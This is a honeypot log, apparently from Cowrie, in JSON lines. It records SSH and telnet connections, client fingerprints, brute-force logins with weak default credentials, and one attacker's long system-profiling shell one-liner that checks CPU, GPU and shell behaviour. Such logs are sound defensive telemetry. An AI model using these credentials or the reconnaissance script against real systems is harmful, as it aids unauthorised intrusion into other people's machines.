{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38330,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ad0a648d8ca","protocol":"telnet","message":"New connection: 170.64.224.25:38330 (159.203.135.109:23) [session: 7ad0a648d8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:36.681653Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":24612,"dst_ip":"10.17.0.5","dst_port":22,"session":"924a51a3141f","protocol":"ssh","message":"New connection: 38.93.206.2:24612 (10.17.0.5:22) [session: 924a51a3141f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:36.826923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:36.830532Z","src_ip":"38.93.206.2","session":"924a51a3141f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:36.880816Z","src_ip":"38.93.206.2","session":"924a51a3141f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"al1916","message":"login attempt [root/al1916] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:37.033942Z","src_ip":"38.93.206.2","session":"924a51a3141f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:38.089447Z","src_ip":"38.93.206.2","session":"924a51a3141f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59482,"dst_ip":"159.203.135.109","dst_port":22,"session":"36fa55b6d894","protocol":"ssh","message":"New connection: 160.187.174.22:59482 (159.203.135.109:22) [session: 36fa55b6d894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:43.825471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:43.830668Z","src_ip":"160.187.174.22","session":"36fa55b6d894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:44.060634Z","src_ip":"160.187.174.22","session":"36fa55b6d894","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:44.993047Z","src_ip":"160.187.174.22","session":"36fa55b6d894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":47692,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ecab593015a","protocol":"ssh","message":"New connection: 172.190.216.105:47692 (10.17.0.5:22) [session: 4ecab593015a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:45.364049Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:45.529380Z","src_ip":"160.187.174.22","session":"36fa55b6d894","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:45.532078Z","src_ip":"160.187.174.22","session":"36fa55b6d894","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:45.625884Z","src_ip":"172.190.216.105","session":"4ecab593015a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:45.635855Z","src_ip":"172.190.216.105","session":"4ecab593015a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:45.836208Z","src_ip":"160.187.174.22","session":"36fa55b6d894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:45.840208Z","src_ip":"160.187.174.22","session":"36fa55b6d894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":52484,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf923c1df6f3","protocol":"ssh","message":"New connection: 103.77.242.62:52484 (159.203.135.109:22) [session: cf923c1df6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:48.852324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:48.856548Z","src_ip":"103.77.242.62","session":"cf923c1df6f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:49.092116Z","src_ip":"103.77.242.62","session":"cf923c1df6f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290582","message":"login attempt [root/290582] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:49.803108Z","src_ip":"103.77.242.62","session":"cf923c1df6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:51.041400Z","src_ip":"103.77.242.62","session":"cf923c1df6f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36148,"dst_ip":"10.17.0.5","dst_port":22,"session":"070ae22fc6cf","protocol":"ssh","message":"New connection: 91.92.40.4:36148 (10.17.0.5:22) [session: 070ae22fc6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:59.598746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:59.603063Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:59.770536Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"q1w2e3","message":"login attempt [oracle/q1w2e3] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.015064Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.224498Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.227478Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.230967Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.234730Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.237758Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.241334Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.243955Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.246854Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.250438Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.254422Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.258333Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.348997Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.434108Z","src_ip":"91.92.40.4","session":"070ae22fc6cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234-","message":"login attempt [root/abcd1234-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:00.599549Z","src_ip":"172.190.216.105","session":"4ecab593015a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34840,"dst_ip":"159.203.135.109","dst_port":22,"session":"98818abe0d14","protocol":"ssh","message":"New connection: 160.187.174.22:34840 (159.203.135.109:22) [session: 98818abe0d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:11.461532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:11.467212Z","src_ip":"160.187.174.22","session":"98818abe0d14","protocol":"ssh"}
